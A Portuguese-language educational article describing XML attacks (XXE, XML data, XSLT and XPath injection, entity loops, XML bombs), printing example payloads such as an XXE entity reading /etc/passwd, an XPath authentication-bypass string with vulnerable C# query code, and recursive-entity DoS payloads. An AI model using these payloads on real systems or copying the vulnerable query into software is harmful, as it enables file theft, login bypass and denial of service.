4 tipos de ataques comuns no XML
Para quem não conhece, a sigla XML é o acrônimo de EXtensible Markup Language, um termo que foi originalmente criado para suprir os desafios das publicações em larga escala. Hoje, o XML é muito utilizado em serviços web como SOAP, REST, WSDL, RSS feed, Atom e também arquivos de configurações de aplicações mobile e desktop.
XML External Entities (XXE)
Os ataques a esse formato de arquivo normalmente acontecem na inserção de dados no XML ou na entrada que é usada para criá-lo - muitos desses ataques utilizam funcionalidades específicas do XML para a ação.
Confira abaixo alguns ataques que podem acontecer no XML:
O ataque XXE é um dos mais conhecidos no XML e o que tem sido explorado ultimamente em aplicações de grandes empresas, incluindo as que participam de programas de bug bounty, onde são oferecidas recompensas para pesquisadores que encontram vulnerabilidades no sistema.
O XML possui uma característica que permite que o desenvolvedor aponte para um endereço onde o dado está armazenado, local ou remotamente.
Com isso, um atacante pode alterar essa informação e solicitar dados locais ou remotos como no exemplo abaixo:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
XML Injection
Os ataques de injeção de dados no XML funcionam de forma parecida com o de scripts, para quem está familiarizado. Podemos subdividir este ataque em três: XML Data Injection, Extensible Stylesheet Language Transformations (XSLT) Injection e XPath/XQuery Injection.
- XML Data Injection: neste tipo de ataque é realizada a inserção de dados no arquivo XML. Normalmente esses dados não são controlados pelo atacante, mas são interpretados pela aplicação para determinar uma ação, por exemplo:
<?xml version="1.0" encoding="UTF-8"?>
<USER role="user">Atacante</USER>
<USER role="user">Atacante</USER>
Caso a aplicação leia estas informações acima para determinar uma ação, o atacante poderá inserir alguns dados com outras permissões para tentar fazer um bypass no controle de acesso de usuários, da seguinte forma:
<?xml version="1.0" encoding="UTF-8"?>
<USER role="user">Usuario1</USER>
<USER role="admin">Atacante</USER>
<USER role="user">Usuario1</USER>
<USER role="admin">Atacante</USER>
- Extensible Stylesheet Language Transformations (XSLT) Injection: neste tipo de ataque, em vez de injetar dados no arquivo XML, o objetivo é inserir códigos que sejam executados no documento. O XSL consiste em XSL Transforms (XSLT), expressões XML Path Language (XPath), XSL Formatting Objects (XSL-FO) e uma folha de estilo (tipo um CSS) que pode ser aplicado em um arquivo XML. Esta folha de estilos pode transformar os dados do arquivo XML em novos dados XML aplicando esta formação. Com isso, um atacante pode injetar códigos capazes de resultar na execução do script no navegador.
- XPath/XQuery Injection: o XPath e XQuery são linguagens que permitem consultar um documento XML de forma muito semelhante ao SQL, aliás muitos bancos de dados permitem consultar o banco de dados usando XPath ou XQuery. Neste caso um atacante pode criar uma instrução XPath ou XQuery e injetar consultas para obter dados que não seriam possíveis através pelo método convencional. Confira abaixo o exemplo retirado da apresentação do Daniel Tomescu para o OWASP.
Arquivo: employees.xml
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<Name>Mike</Name>
<UserName>Mike07</UserName>
<Password>TopSecret</Password>
<Type>Admin</Type>
</Employee>
</Employees>
<Employees>
<Employee ID="1">
<Name>Mike</Name>
<UserName>Mike07</UserName>
<Password>TopSecret</Password>
<Type>Admin</Type>
</Employee>
</Employees>
Código C#
String FindUserXPath;
FindUserXPath =
"//Employee[UserName/text()='"
+ Request("Username")
+ "' And Password/text()='"
+ Request("Password") + "']";
Payload
FindUserXPath =
"//Employee[UserName/text()='"
+ Request("Username")
+ "' And Password/text()='"
+ Request("Password") + "']";
Payload
Username: Mike07
Password: oops' or 'a'='a
Password: oops' or 'a'='a
Resultado da injeção: FindUserXPath
//Employee[UserName/text()='Mike07' And Password/text()='oops' or 'a'='a']
Infinite Entity Loops
É possível criar um loop infinito dos entities quando criamos duas entradas e uma chama a outra, veja o exemplo abaixo:
<!ENTITY % aa '%bb;'>
<!ENTITY % bb '%aa;'>
%aa;
Se você observar o código acima, verá que o entity aa chama o entity bb, que por fim chama o entity aa e com isso entra em um loop infinito gerando um ataque de DoS.
XML Bombing
O ataque de XML Bombing é muito parecido com o loop infinito e tem como objetivo causar um ataque DoS. Confira abaixo um exemplo retirado do artigo do Rami Jaamour:
<?xml version="1.0" ?>
<!DOCTYPE foobar [
<!ENTITY x0 "Bang!">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
...
<!ENTITY x99 "&x98;&x98;">
<!ENTITY x100 "&x99;&x99;">
]>
<!DOCTYPE foobar [
<!ENTITY x0 "Bang!">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
...
<!ENTITY x99 "&x98;&x98;">
<!ENTITY x100 "&x99;&x99;">
]>
Quando as entities são chamadas recursivamente, ele irá chamar uma quantidade enorme de elementos que irão aumentar o uso de recursos e causar o DoS.
Conclusão
Mesmo no XML os cuidados de segurança devem aplicados de forma rígida, seja na configuração, na validação de dados ou na criação do arquivo XML, além disso, a aplicação do XML Encryption e o XML Signature são obrigatórias quando houver a manipulação de dados sensíveis.
Caso você tenha interesse em testar esses ataques de uma maneira mais prática, eu recomendo olhar o framework chamado Magical Code Injection Rainbow (MCIR) criado pelo Daniel Crowley e disponível no endereço https://github.com/SpiderLabs/MCIR.
Fontes:
GALLAGHER Tom; JEFFRIES Bryan; LANDAUER Bryan. Hunting Security Bugs (Developer Reference) Microsoft Press; 1 edition (June 9, 2006)
0 comentários: